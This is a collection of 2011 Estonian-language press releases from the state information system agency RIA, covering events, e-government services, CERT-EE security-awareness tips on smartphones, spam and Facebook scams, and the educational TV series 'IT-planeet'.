Riigi Infosüsteemi Amet ning Majandus- ja Kommunikatsiooniministeerium kutsuvad avaliku sektori asutuste veebilehtede tellijaid, haldajaid, toimetajaid ja arendajaid 20. juunil Tallink Spa Konverentsikeskusesse "Veebide koosvõime päevale".

Iga avaliku sektori asutuse veeb on osa riigi infosüsteemi teenuseruumist, seepärast on oluline, et kõik ühises teenuseruumis osalejad oleksid koostegutsemise reeglitest ja nõuetest teadlikud. Selleks tutvustame infopäeval veebide koosvõime raamistikku, mis koondab tänapäevased nõuded veebidele. Lisaks räägime veebide kasutajasõbralikkuse ja käideldavuse nõuetest, vabatarkvaralistest sisuhaldussüsteemidest ning headest näidetest nii riigi kui kohaliku omavalitsuse tasandil.

Esialgne päevakava (PDF)

Üritus on tasuta ja osalemiseks tuleb eelregistreeruda hiljemalt kolmapäeval, 15. juunil aadressil http://www.bcs.ee/~koolitus/ria2/registreerumine.php?kursuse_id=9.

Kohtumiseni koosvõime päeval!

Infopäev toimub koolitussarja "Tark e-riik" raames ja Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ toel, mida rahastab Euroopa Regionaalarengu Fond. Tutvu ka teiste Tark e-riik üritustega.

8.juunil algab Tallinnas kahepäevane rahvusvaheline Euroopa e-ID konverents, kuhu on oodata ca 200 esinejat ja külalist, sh Microsofti, Nokia ning IBMi esindajaid. Ürituse peateemaks on e-identiteet nii riiklikul kui ka rahvusvahelisel tasandil.

Majandus- ja Kommunikatsiooniministeeriumi nõuniku Mait Heidelbergi sõnul pakuvad Eesti turvalist isikutuvastust võimaldavad e-teenused rahvusvahelistele IT-ekspertidele suurt huvi. „Eestil on ette näidata väga edukaid e-teenuseid ning lisaks on nende sedavõrd laialdane kasutamine mujal maailmas harukordne,“ ütles Heidelberg. Tallinnas toimuva konverentsi raames on Heidelbergi sõnul Eestil suurepärane võimalus kõiki oma infoühiskonna väljapaistvamaid projekte tutvustada parimatele ekspertidele üle Euroopa.

Konverents on suunatud Euroopa avaliku ja erasektori IT juhtidele, otsustajatele ning ekspertidele. Konverentsi avab Majandus- ja Kommunikatsiooniminister Juhan Parts ning väljapaistvamatest külalistest teevad üritusel ettekanded veel Euroopa Komisjoni, Saksamaa siseministeeriumi ning Taani teaduse, tehnoloogia ja innovatsiooniministeeriumi esindajad. Erasektori poolt on esindatud maailmakuulsad korporatsioonid nagu IBM, Microsoft, Nokia, Cybernetica, Trustalert ning CA Technologies.

Kahe päeva jooksul toimuvad lisaks kümnetele ettekannetele ka paneeldiskussioonid, ümarlauad ning töötoad.

Konverentsi rahastab ka EL sf programm "Infoühiskonna teadlikkuse tõstmine" Euroopa Regionaalarengu Fondist.

Esmakordselt on Eestis tekkinud olukord, kus mobiilse andmeside paketid on odavamad kui kodune neti püsiühendus ning kampaaniate käigus jagatakse nutitelefone pea tasuta. Kuna sellel suvel rändab mööda Eestit rekordiline arv nutitelefone, siis tasub meelde tuletada mõningaid taskusse mahtuvate arvutitega seotud pisiasju.

Nutitelefon on pisike, teda on mugav kaasa võtta, ent teda on ka lihtne kaotada või varastada. Et Sinu elu telefoni leidja või kurikaela ees valla poleks, varusta telefon ekraani avamiskoodiga, mida küsitakse iga kord telefoni kasutama asudes. Koodiks võib olla näpuga ekraanil veetav kujund, parem on aga kasutada numbrilist turvakoodi.

Varguse või kaotamise korral kaovad lisaks telefonile ka temas olnud andmed. Seega, sünkroniseeri oma telefoni andmeid regulaarselt “pilvega” või tee andmetest varukoopiaid. Telefoni kadumise korral ära unusta vahetada telefoniga ühendatud säutsumise, blogimise ja e-posti kontode paroole.

Nii nutitelefoni kui sülearvutit kasutades on mõistlik enda sotsiaalvõrgustike kontod ümber seadistada nii, et nad kasutavad turvalist veebilehitsemist. See muudab konto üle võtmise keerulisemaks, lisaks on konto seadistamine väga lihtne:

- Facebooki puhul vali: Konto > Konto seaded. Seaded lehelt otsi Konto turvalisust, millele klõpsates saad märkida linnukese “Turvaline sirvimine (https)” taha. Edaspidi kasutab suhtlusvõrgustik alati turvalist protokolli.
- Gmaili puhul on tee turvalise ühenduseni selline: Seaded > Üldine > Brauseri ühendus > Kasuta alati https-i.
- Microsoft Live keskkonnas: Konto > Ühendus HTTPS-i kaudu > Kasuta HTTPS-i automaatselt.
- Twitteris: Settings > Account ning märgi linnuke “Always use HTTPS” ette. Salvesta.

Kui Sa pole oma kontosid üle võtmise vastu kaitsnud, võib keegi sobrada Sinu postkastis või postitada sõnumeid Sinu Facebooki seinale. Telefonis olevatele kontodele lihtsalt ligi pääsedes lood võimaluse varastada Sinu digitaalne identiteet ning kurikaelad saavad ülevõetud kontosid kasutada raha väljapetmiseks Sinu tuttavatelt. On juhtumeid kus ülevõetud Facebooki konto kaudu väidetakse, et inimene on väljamaal hätta jäänud ja küsitakse sõpradelt raha.

Võimaluse korral väldi avaliku parooliga kaitsmata WiFi kasutamist. Ilma paroolita võrk on kergelt pealtkuulatav ja sageli on andmed nutitelefonis vähem kaitstud, kui arvutites. Näiteks kasutatakse palju paroolide veebilehitsejas salvetamist, kuna nutitelefoni väikeselt ekraanilt on neid ebamugav iga kord sisse toksida.

Nutitelefon on kiire elutempoga maailmas väga hea abimees. Teda Sinu jaoks atraktiivseks muutvad omadused on sama ligitõmbavad ka inimestele, kes sooviksid sellest kuritegelikult kasu saada, sestap kasuta enda andmete jagamisel kainet mõistust. Lisaks telefoni tehnilisele kaitsmisele tuleb tähelepanelik olla ka ise pilte ja andmeid üles laadides. Kui inimesed ise jagavad infot, millal on maja tühi, ei pea kurjategijad selle info otsimisega vaeva nägemagi.

Turvalist suve soovides,
Tarmo Randel
CERT-EE infoturbe ekspert

CERT Eesti (Computer Emeregency Response Team) tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemisega ja kasutajate turvateadlikkuse tõstmisega.

E-Riigi Akadeemia analüüs vaatleb, kuidas kampaania täpsemalt online-keskkonnas välja nägi ja kui palju panustasid erakonnad ning kandidaadid sotsiaalmeediale. 

2011. a Riigikogu valimiste online-kampaaniat analüüsiti 14. veebruarist 1. märtsini 2011. a. Lisaks e-Riigi Akadeemia ekspertidele kaasati analüüsimisse ka Tartu Ülikooli kommunikatsioonijuhtimise bakalaureuse- ja magistriastme tudengid Kristina Reinsalu juhendamisel. Analüüs valmis EL SF programmi "Infoühiskonna teadlikkuse tõstmine" raames Euroopa Regionaalarengu Fondi rahastusel.

Publikatsioon on huvitav, kuna tegemist on verivärskete andmetega (kampaania ja publikatsiooni ilmumise vahel on vaid napid paar kuud) ning andmete kogumisel kasutatav metoodika oli mitmekesisem ja vahetum kui teistel teadaolevatel rahvusvahelistel uuringutel.

eGA teatel iseloomustab 2011 a. valimisi senisest veelgi massilisem internetti kandumine. Samas, päris sellist edulugu sotsiaalmeedia kasutuses, nagu näiteks üksikkandidaat Indrek Tarandil Euroopa Parlamendi valimistel, sel korral ei kohatud. Tundub isegi mõnevõrra üllatav, et näiteks vabatmehed või üksikkandidaadid olid sotsiaalmeedias võrdlemisi passiivsed. Teisalt ei olnud käesolevas kampaanias ka enam nii konkreetseid näiteid sellest, kuidas mingit keskkonda ei osata kasutada nii nagu selle keskkonna reeglid ette näevad.

Võrreldes varasemate uuringutega on erakondade ametlikud veebid oluliselt rohkem seotud ja otselingitud sotsiaalmeediaga. Erakondadest tervikuna sotsiaalmeedias võib aktiivseimana välja tuua Reformierakonda , kel on 2300 jälgijat FB-s, 420 jälgijat Twitteris, 25 videot Youtube's. Siiski on erakondlik sotsiaalmeedia kasutus tagasihoidlik – tundub, et oma kandidaatidel lastakse vabalt üksikult sotsiaalmeedias tegutseda, sellesse ei sekkuta, seda ei koordineerita.

Valimiskampaania analüüs on eGA veebilehelt alla laaditav kahes keeles: eesti keeles ja inglise keeles.

Alates tänasest, 1. juunist muutub Riigi Infosüsteemide Arenduskeskus (RIA) ametiks. Uus Riigi Infosüsteemi Amet pakub turvalisuse tagamisel abi era- ja riigisektori infosüsteemide omanikele ning saab õiguse teha järelevalvet.

RIAl on hetkel kokku 11 põhivaldkonda, ametiks saamine puudutab kõige rohkem kahte infoturbega tegelevat osakonda. Lisaks saab amet juurde veel ühe valdkonna - järelevalve.

Kriitilise informatsiooni infrastruktuuri kaitse osakond (KIIK) hindab n-ö suurt pilti, kui hästi on riigis infosüsteemid turvatud ja koostab selle kohta riskianalüüse. Eestis vastutab iga elutähtsa teenuse pakkuja ise enda süsteemi turvalisuse eest. KIIK pakub süsteemide omanikele nõu, kuidas riske hinnata ja annab soovitusi, kuidas olulisi teenuseid kaitsta.

CERT Eesti (Computer Emergency Response Team) tegeleb Eesti arvutivõrkudes toimuvate juhtumitega. Osakonnalt saab abi, kui Eesti veebilehti või teenuseid rünnatakse või vastupidi, kui ülevõetud Eesti arvutid levitavad pahavara. Ametiks muutumisega saab CERT muu hulgas juurde võimekuse uurida pahavara koodi tasemel. Koodiaudit näitab, mille jaoks konkreetne viirus on loodud - kas ta saadab spämmi, varastab kasutaja andmeid või ründab teisi veebilehti.

Ameti täiesti uus funktsioon on järelevalve, seda nii elutähtsate teenuste turvalisuse kui uute infosüsteemide loomise üle. RIA hakkab kontrollima, et riigi ja erasektori elutähtsad infosüsteemid oleksid turvaliselt üles ehitatud ja hoitud.

Riigikantselei on välja kuulutanud konkursi Riigi Infosüsteemi Ameti peadirektori leidmiseks.

Kõik RIA senised valdkonnad jätkavad oma tööd endises mahus. RIA ümberkorraldamise ja küberturbe valdkonna laienemisega seotud vahendite lisavajadus on 0,8 miljonit eurot aastas.
 

Infosüsteemide turvalisus

1. CERT Eesti (Computer Emergency Response Team) tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide ennetuse ja lahendamisega ning kasutajate turvateadlikkuse tõstmisega.

2. Kriitilise informatsiooni infrastruktuuri kaitse (KIIK) tegeleb elutähtsate teenuste toimimiseks vajalike infosüsteemide kaitse korraldamise, riskianalüüside ja turvameetmetega. Elutähtsad teenused on näiteks elektrivarustus, haiglate toimimine, postivõrk jne.

3. Infosüsteemide kolmeastmelist etalonturbe süsteemi (ISKE) kasutades saavad riigiasutused ja kohalikud omavalitsused hinnata, milliseid turvameetmeid on konkreetsete andmete hoidmiseks vaja rakendada.

4. Järelevalve osakond luuakse RIAsse alates 1. juunist 2011. Osakonna eesmärk on kontrollida, et riigi andmete ning süsteemide turvalisus oleks piisav.

Infosüsteemide võime koos toimida

5. Riigiportaal Eesti.ee eesmärk on koondada kõigi riigiasutuste info ja e-teenused. Portaal pakub kodanikule, ettevõtjale ning ametnikule võimalust leida usaldusväärset infot, kontaktandmeid ning avalikke e-teenuseid ühtsest turvalisest keskkonnast. Iga päev külastab riigiportaali umbes 8000 inimest.

6. Riigi infosüsteemi haldussüsteem (RIHA) on piltlikult öeldes riigi infosüsteemi kaart, mis annab sellest tervikpildi. Infosüsteemide kasutajad, arendajad, haldajad ja kodanikud leiavad siit teavet riigi infosüsteemide, teenuste, klassifikaatorite ja semantikavarade kohta.

7. Dokumendivahetuskeskus (DVK) on infosüsteem, mis lubab erinevatel elektroonilistel dokumendihaldussüsteemidel omavahel dokumente vahetada. Näiteks saab üks ministeerium enda dokumendihaldussüsteemis eelnõu kooskõlastada ja sama dokumendi otse teisele ministeeriumile saata, ilma et peaks dokumendi vahepeal süsteemist välja salvestama ja e-kirjaga edastama.

8. ID-kaardi baastarkvara on vajalik selleks, et inimesed saaksid ennast elektroonilistes keskkondades turvaliselt ID-kaardiga autentida ja digitaalset allkirja anda.

9. X-tee on Eesti riigi põhilisi andmebaase ühendav andmevahetuskiht. X-tee kaudu saavad kõik andmekogud omavahel turvaliselt suhelda, olenemata nende füüsilisest asukohast.

10. Riigi andmeside ja baasinfrastruktuur – RIA korraldab andmeside- ja internetiteenust riigiasutustele ja kohalikele omavalitsustele. Samuti pakub RIA infrastruktuuri riigi teatud e-teenustele.

EL rahastusega seotud teemad

11. Struktuurifondide osakond tegeleb EL struktuurifondide toetustega, mis on mõeldud infoühiskonna arendamiseks. Toetusi saavad taotleda era- ja riigisektori asutused ning mittetulundusühingud.

12. EL programm „Infoühiskonna teadlikkuse tõstmine“ tegeleb inimeste ja IT-spetsialistide teavitamisega infoühiskonna võimalustest.

Riigi Infosüsteemide Arenduskeskus loodi 2003. aasta mais Eesti Informaatikakeskuse ja Riigihangete Keskuse liitmisel. RIA eesmärk on koordineerida riigi infosüsteemi arendamist ja haldamist nii, et riik saaks IT võimalusi kasutades rahvast teenindada parimal võimalikul moel.

Eksamisooritajad saavad tänavu juba kaheksandat korda tellida riigieksamite tulemuste kiirteavituse SMS-i teel. Teavitus on tellijale tasuta ja seda saavad tellida kõikide mobiilsideoperaatorite kliendid. Eelmisel aastal saadeti riigiportaali eesti.ee kaudu üle 35 000 SMS-i.

SMS-i saamiseks tuleb aktiveerida riigiportaalis eesti.ee teenus "Riigieksami tulemuse SMS teavituse tellimine" ja sisestada mobiiltelefoni number, millele soovitakse oma eksamitulemuste kohta teavet saada. Lühisõnum koos eksamitulemusega saadetakse tellitud numbrile siis, kui eksamitulemus jõuab riigieksamite infosüsteemi. Sõnumiga edastatakse aine nimetus ja kogutud punktisumma. Iga eksami kohta edastatakse üks sõnum.

Teenuse kasutamiseks peab olema riigiportaali eesti.ee sisse logitud, teenuse leiab siit.

2010. aastal tegid 21 899 eksaminandi kokku 51 217 eksamivalikut, SMS-teavitusi tehti 35 655. Teavitust teeb Riiklik Eksami- ja Kvalifikatsioonikeskus koostöös Mobi ja Tele2-ga.

Täna tekkis Facebookis uus kuritegelik skeem, kus üle võetud kontode kaudu küsitakse tuhapilve lõksust välja pääsemiseks raha.

CERT Eesti juht Hillar Aarelaid: „Skeem on lihtne, kurjategijad võtavad inimese Facebooki konto üle ning postitavad seinale abipalve. Sõnumi sisu tundub tõene - inimene on tuhapilve tõttu lõksus ning vajab kiiresti koju saamiseks raha. Kui teile saabub sõbralt Facebookis selline teade, siis on suure tõenäosusega tegu pettusega. Helistage palun oma tuttavale, et info üle kontrollida ja teada anda, et tema sotsiaalvõrgustiku konto on üle võetud.“

Kuritegevus internetis on sageli hooajalise iseloomuga ja raha välja petmiseks või viiruste levitamiseks kasutatakse iga võimalust. Valentinipäeva paiku saadetakse nakatunud õnnitluskaarte, olümpia ajal nakatunud linkidega uudiseid sportlaste võidust. Tuhapilv puudutab paljusid inimesi ja on selle tõttu hea võimalus kiireteks petuskeemideks. CERT Eesti palub iga rahapalvega teatesse suhtuda ettevaatusega ja võimalusel püüda väidetavalt hätta sattunud inimesega isiklikult kontakti võtta.

Kui inimene on tõesti välisriigis lõksus ning vajab koju sõitmiseks abi, saab helistada Välisministeeriumi konsulaarabi numbril +372 53 01 9999

CERT Eesti (Computer Emeregency Response Team) tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemisega ja kasutajate turvateadlikkuse tõstmisega.

RIA kuulutas välja hanke, millega otsitakse teavituspartnerit sügisel algava riigiportaali teavituskampaania läbi viimiseks. Teavituse eesmärk on tutvustada arvutikasutajatele ja ettevõtjatele riigiportaali eesti.ee võimalusi ja teenuseid.

„Partneriks otsime täisteenust pakkuvat reklaamiagentuuri, kes lisaks teavituskampaaniale suudab välja pakkuda ja ellu viia ka muid alternatiivseid lahendusi. Ülesanne on kindlasti keeruline, sellepärast näeme võimalike osalejatena just selliseid agentuure, kellel on nii turunduskogemusi, suurte projektide tausta kui loovust“, räägib programmijuht Agne Kivisaar.

Kuna teavitustegevuste mõiste on lai ja võimalusi palju, nõuab see hankija ja pakkuja tihedat koostööd. Seepärast on hankemenetluse liigiks valitud just võistlev dialoog. Taotlusi hankes osalemiseks on võimalik esitada kuni 1. juulini.

Teavitustegevused toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames. Tegevuste planeeritav aeg on sügis 2011 kuni kevad 2012. Lähemat teavet hanke kohta leiab siit.

Alates juunist kuni aasta lõpuni korraldab RIA 75 riigi infosüsteemi teemalist koolitust, seminari ja teabepäeva, kuhu oodatakse pea 1500 osalejat.

„Korraldame koolitusi juba kolmandat aastat ja sari „Tark e-riik“ on saanud paljude IT-inimeste seas tuntud kaubamärgiks. IT on kiiresti arenev valdkond, meie soov on nii avaliku kui erasektori spetsialiste viimaste arengutega kursis hoida. Sel aastal on kavasse lisandunud palju uusi koolitusi, näiteks infoturbe ja IT-taristu kaitse teemadel,“ rääkis programmijuht Agne Kivisaar.

"Turvaintsidentide ärahoidmiseks ja turvariskide vähendamiseks korraldatavad koolitused ja teabepäevad aitavad ühelt poolt tõsta infoturbe alast teadlikkust, et ühiskonnas toimiks tavapärane elukorraldus ja teiseks tutvustavad tasuta tehnoloogiad, mida riik pakub," lisas Kivisaar.

Koolituste korraldajad rõhutavad, et tehnoloogia kasutamine ei ole eesmärk omaette, IT on vahend inimeste elu lihtsamaks muutmiseks. Sellepärast on paljudele koolitustele oodatud ka spetsialistid, kelle igapäevatöö ei hõlma infotehnoloogiat ja kelle ametinimetuses ei ole tähepaari „IT“.

Esimene suurem infopäev toimub juunis ja see on pühendatud veebide koosvõimele ehk veebide oskusele omavahel ilma tõrgeteta suhelda.

Üritused toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond ligikaudu 177 tuhande euro ulatuses.

Kõik üritused on osalejatele tasuta ja neid aitab läbi viia AS BCS Koolitus. Lähemat infot koolituste ja ürituste kohta saab RIA veebielehelt. Koolituskalendri info uueneb jooksvalt.
 

Hea partner!

1. juunil 2011 saab Riigi Infosüsteemide Arenduskeskusest Riigi Infosüsteemi Amet. Päev varem, 31. mail kutsume Sind RIA aastakonverentsile „Mis nendest tehnikutest üldse kasu on?“

Konverentsil tuleb jutuks, mis RIA ametiks saamisega muutub. Samuti räägime, kuidas saame avaliku ja erasektori partneritele kasulikud olla. Konverentsi teemad on samad, mis uue ameti põhilised tegevused – küberturve, riigi infosüsteem ja järelevalve nende mõlema üle.

Konverents toimub Kumu auditooriumis.

Esialgset päevakava saab vaadata siit: www.ria.ee/ria-aastakonverents
Osalemine on tasuta, kuid vajalik on registreerimine: https://www.ria.ee/registreeri/aastakonverents

Täna avalikustas RIA ID-kaardi tarkvara uue versiooni, millel on mitme kaardi samaaegse kasutamise võimalus ja pinpad lugejate tugi.

ID-kaart on kõige turvalisem autentimisvahend, kui seda turvaliselt kasutada. Enamus tänapäevastest rünnakutest leiab aset arvuti operatsioonisüsteemi kaudu. Pinpad ehk numbristikuga kaardilugeja on tavalise kaardilugejaga võrreldes turvalisuse järgmine aste, kuna PIN-kood sisestatakse otse kaardilugejal ja see ei jõua operatsioonisüsteemi. Loomulikult tuleb turvaliselt hoida ka oma arvutit - alati peavad olema uuendatud operatsioonisüsteemi turvapaigad ja viirusetõrje.

Uuenenud tarkvaral loodi tugi järgmistele pinpad lugejatele:
SCM SPR 532 (USB PIN sõrmistikuga)
Omnikey CardMan 3621 (USB PIN sõrmistikuga)
Omnikey CardMan 3821 (USB PIN sõrmistikuga ja ekraaniga)

Mitme kaardi kasutamise võimalus on oluline näiteks klienditeenindustes, kus pidevalt on kasutuses teenindaja ID-kaart ja lisaks toimivad klientide ID-kaardid kliendikaardina.

ID-kaardi tarkvara arendab Riigi Infosüsteemide Arenduskeskuse tellimusel AS Sertifitseerimiskeskus, tarkvara uue versiooni saab alla laadida siit: https://installer.id.ee/ Tarkvara valmis EL Regionaalarengu Fondi toel.

Illustratiivne pilt pinpadiga kaardilugejatest (ei ole täpselt ülal nimetatud kolm mudelit).
 

Täna õhtul linastuvas hariduslikus teleseriaalis „IT-planeet“ jõuavad peategelased rämspostis lubatud aarde jahil Nigeeriasse. Millistesse seiklustesse nad rämpskirja uskudes satuvad, saab näha kell 21.00 kanalist TV3. Tegelikkuses teenivad suuri summasid hoopis kurjategijad, kes korraldavad spämmi saatmist tuhandetele inimestele.

CERT Eesti infoturbe ekspert Tarmo Randeli sõnul saabuvad soovimatud e-kirjad inimeste postkastidesse ühe eesmärgiga – teenida kellelegi raha. „Raha teenija ei ole loomulikult kirja saaja, kuigi kirjades vahest vastupidist väidetakse. Uuringute järgi teenivad kurjategijad veebist üles korjatud aadresside kuritarvitamisega tuhandeid eurosid.“

Rämpspostiga üritatakse levitada pahavara – see on kuritegelikus maailmas pakutav tasuline teenus. Kui veel mõned aastad tagasi pandi arvutiviirus kirjaga kaasa, siis tänasel päeval nakatatakse peamiselt kirja sees olevate veebilinkide kaudu, millele klikkides pahavara arvutisse ronib.

Omaette valdkonna moodustavad nn Nigeeria petukirjad, milles lubatakse kirja saajale lotovõidu või päranduse kaudu kosmilisi summasid. Tavaliselt tuleb enne suure summa kättesaamist siiski lotovõidu või päranduse saajal teha mõned vormistamiseks vajalikud maksed. Lotovõit või pärandus jääb loomulikult saamata. Ära usu ka kodus lihtsat teenimisvõimalust pakkuvaid e-kirju – tegemist on pettusega, milles osalemisel tuleb Sul suure tõenäosusega tegemist teha politseiga.

„IT-planeedi“ tänases osas läheb Nigeeriast päranduse saanud tulnukatel oluliselt õnnelikumalt kui inimestel tavaliselt. Kuna Sina pole tulnukas, siis saad mõningaid reegleid järgides vältida postkasti jõudvat rämpsu:
*ära sisesta oma põhilist e-posti aadressi avalikele veebilehtedele. Tee selleks ajutine e-posti aadress;
*ära kliki e-kirjas olevaid linke. Soovitus kehtib ka siis, kui kirja saatja tundub olevat Sulle tuttav, aga lingi sisust ei saa hästi aru;
*suhtu ettevaatusega kirjadesse, milles palutakse mõne konto parooli uuendada või küsitakse kontoga seotud andmeid;
*mõtle loogiliselt. Viagrat müüakse apteegis, 10-euroseid Rolexeid pole olemas. Lotovõiduks pead ostma pileti ja Hong-Kongis elavast pururikkast vanavanaisast oleksid Sa kindlasti kuulnud oma sugulastelt.

International Computer Science Institute uuris spämmi saatva robotvõrgu tegutsemist 26 päeva jooksul. Üle võetud arvutid üritasid selle aja jooksul saata võlts-Viagrat ostma meelitavaid kirju umbes 350 miljonile e-posti aadressile. Uuringut „Spamalytics: An Empirical Analysis of Spam Marketing Conversion“ saab lugeda siit.

IT-teemalise teleseriaali tootis Riigi Infosüsteemide Arenduskeskuse tellimusel Nafta. Seriaali rahastab Euroopa Liidu struktuurifondide programm “Infoühiskonna teadlikkuse tõstmine”. Pilte tulnukate tegemistest ja arvutialast nõu jagab tulnukalaeva Facebooki leht: http://www.facebook.com/itplaneet

1. juunist 2011 muutub Riigi Infosüsteemide Arenduskeskus ametiks, sellega seoses kuulutas riigisekretär välja konkursi Riigi Infosüsteemi Ameti peadirektori leidmiseks.

Direktor juhtib ameti tööd, vastutab asutuse eelarve eest, arendab RIA valdkondi ning esindab asutust nii Eestis kui rahvusvahelisel tasandil.

Kandideerijal peavad muu hulgas olema magistrikraad, hea juhtimiskogemus, IT-valdkonna tundmine ja teadmised Euroopa Liidu institutsioonide toimimisest.

Riigisekretär ootab kandidaadilt avaldust, elulookirjeldust, tunnistust vajaliku hariduse kohta, kinnitust, et kandidaat vastab teenistusse asumiseks avaliku teenistuse seaduse sätestatud nõuetele ja esseed teemal "Turvalise ja avatud majandusega infoühiskonna arendamise väljakutsed järjest kasvavate ohtudega küberruumis” (pikkus kuni 3 lk).

Dokumentide esitamise viimane päev on 12. mai. Avaliku konkursi teadet saab vaadata siit.

Sel kevadel toimub populaarse koolitusprogrammi „e-riigi teater“ kolm tasuta kordusetendust üliõpilastele ja õppejõududele.

Juhtimisteater on omapärane süntees interaktiivsest koolitusest ja professionaalsest teatrist. Loengutele ja rühmatöödele lisaks pakume publikule meelelahutuslikku e-riigi teatrietendust "E-teenuste arendamise talumatu kergus", mille eesmärk on tutvustada e-riigi saavutusi ja kasvuraskusi.

2010. aasta jooksul käis e-riigi teatris üle 500 juhi ja spetsialisti nii avalikust kui erasektorist. Nüüd kutsume "e-riigi teatrisse" üliõpilasi ja õppejõude ning mitte ainult neid, kelle õppekavas on IT teemad või avalik haldus. Infoühiskonna liikmed oleme ju kõik. Lisaks on e-teenuste arendamine seotud erinevate elualadega: õiguse, majanduse, sotsioloogia ja miks mitte isegi psühholoogiaga.

See ühepäevane koolitus aitab tudengitel näha uusi võimalusi oma teadmiste rakendamiseks. Teisalt toimib koolitus nagu kaitsesüstimine e-teenuste arendamises ja kasutamises peituvate ohtude vastu. Et korraldajate poolt välja pakutud viis e-ühiskonna üles ehitamisel töötab, pole enam kahtlust. Veenev tõestus sellele esitati 30. märtsi "Pealtnägijas", kus näidati toredat lugu hiljuti e-lastehoiuteenuse loonud ärksast kaksikute emast. Võib-olla saame selles saates olnud loo kangelased kutsuda oma teatrisse kogemusi vahendama.

Koolituspäeva juhivad Heiti Pakk (juhtimiskonsultant ja lavastaja) ning Margus Püüa (Riigi Infosüsteemide osakonna juhataja, IT Kolledži lektor).
Mängivad: Tiit Palu, Piret Laurimaa, Ahti Puudersell, Lauri Kink, Kaili Viidas (kõik Endla teatrist)

Toimumisajad:
28. aprill 2011 Tallinnas Õpetajate Majas (toimunud)
9. mai 2011 Tartus Atlantise konverentsikeskuses (grupp komplekteeritud)
11. mai 2011 Tallinnas Õpetajate Majas (grupp komplekteeritud)

Koolituspäev algab registreerimise ja hommikukohviga kell 9.30 ja lõpeb kell 16.30. Pakutakse ka lõunat ja suupisteid.

Vaata lisaks koolitust tutvustavat videoklippi.

Koolitused toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ning seda finantseerib Euroopa Regionaalarengu Fond. Lisainfo: SF programmi "Infoühiskonna teadlikkuse tõstmine" projektijuht Elsa Neeme, elsa.neeme@ria.ee.

15. märtsil kell 15.00 toimub kinos Sõprus haridusliku ulmekomöödia „IT-planeet“ esilinastus ja pressikonverents.

Pressikonverentsil räägib RIA kommunikatsioonijuht Katrin Pärgmäe seriaali hariduslikest eesmärkidest. Produtsent Esko Rips jagab muljeid seriaali tootmisest ja TV3 tegevjuht Priit Leito räägib, mille poolest on sellist tüüpi seriaal erakordne. Pressikonverentsil osalevad peategelane Helmut, tulnukad ja Illuminati käsilased, kes on valmis küsimustele vastama ja fotodel poseerima.

Seriaali „IT-planeet“ esimeses osas “Kontakt” soetab amatöörufoloogist pensionär Helmut endale elu esimese arvuti. Aparatuuripaneelile ümber lükatud ürdiliköörist tekkinud lühis vallandab pöörase sündmusteahela. Toimub kontakt ja muidu elus tasapidi tulev (IT-)tarkus jõuab nüüd nii Helmuti kui televaatajani. 10 seeria jooksul tutvustatakse nii tulevasele, algajale kui edasjõudnud arvutikasutajale arvuti ja sellega kaasneva virtuaalmaailma põhitõdesid.

16. märtsil kell 21.00 linastub kanalis TV3 IT-teemaline populaarteaduslik ulmekomöödia "IT-planeet". Osades: Tiit Lilleorg, Kristjan Sarv, Indrek Ojari, Mari-Liis Lill, Voldemar Kuslap. Tellija: Riigi Infosüsteemide Arenduskeskus, seriaali rahastab ELi programm „Infoühiskonna teadlikkuse tõstmine". Tootja: Nafta.

Lisainfot ja pilte saab tulnukalaeva kodulehelt: www.facebook.com/itplaneet

Esilinastusel osalemisest andke palun teada aadressil katrin.pargmae[ät]ria.ee

Järgmisel kolmapäeval, 16 märtsil esilinastub hariduslik teleseriaal „IT-planeet“, mis tutvustab meelelahutuslikul viisil arvutite ja turvalisusega seotud teemasid. IT-teemaline ulmekomöödia on eetris kolmapäeviti kell 21.00 kanalis TV3.

Meelelahutuslik ulmeseriaal algab tulnukate jõudmisega planeedile Maa. Nende koduplaneedil on arvutid küll olemas, kuid need toimivad hoopis teistmoodi, kui meie harjunud oleme. Külalised hakkavad koos kohaliku tulnuka-uurijaga avastama arvutitega seotud igapäevamaailma – otsivad endale sobiva operatsioonisüsteemiga arvutid, avastavad sotsiaalvõrgustikud ja interneti võimalused ning maadlevad seadmete ühendamisega.

CERT Eesti infoturbe ekspert Tarmo Randel: „Kuigi arvutid on kõikjal, kipub nende kasutamine koos kõigi lisavidinatega järjest keerulisemaks muutuma. Teleseriaali eesmärk on tutvustada lihtsal moel arvutitega seotud teemasid, mitte konkreetseid oskusi õpetada. Inimeste arvutid ja nende seadistused on nii erinevad, et sellest poleks televaatajale kasu. Pigem soovime arvutikasutajatele anda ülevaate erinevatest arvuti kasutamisega seotud võimalustest ja probleemidest.“

Seriaali jaoks valmistati viis tonni kaaluv tulnukalaev ning kogu selle sisustus. Võtete käigus sai kodu Tallinna Loomade Hoiupaigast leitud koer, kes oli Laika osatäitja.

Pilte tulnukate tegemistest ja arvutialast nõu jagab tulnukalaeva Facebooki leht.
 

IT-teemalise teleseriaali tootis Riigi Infosüsteemide Arenduskeskuse tellimusel Nafta. Seriaali rahastab Euroopa Liidu struktuurifondide programm “Infoühiskonna teadlikkuse tõstmine” veidi üle saja tuhande euro ulatuses.

Eile õhtul kell üheksa sai riigportaal eesti.ee taas töökorda. Paranduste käigus paigaldati ka eelnevalt probleeme tekitanud uuendus, mis muudab portaali tehniliselt paindlikumaks ja kiiremaks.

Riigiportaal eesti.ee pakub kodanikele, ettevõtjatele ning ametnikele riigi infot ja e-teenuseid. Portaali külastab keskmiselt 10 000 inimest päevas.

Täna võib esineda tõrkeid riigiportaal Eesti.ee töös. Riigiportaali sisenemisel tekib osadel inimestel probleem teenuste kasutamisega.

Probleemi põhjustas portaali tehniline uuendus. See tekitas vea, mis testide käigus ei avaldunud. Hetkel tegeleme probleemi lahendamisega.

Riigi Infosüsteemide Arenduskeskus vabandab kasutajate ja partnerite ees. Anname teada, kui riigiportaal taas töökorras on.

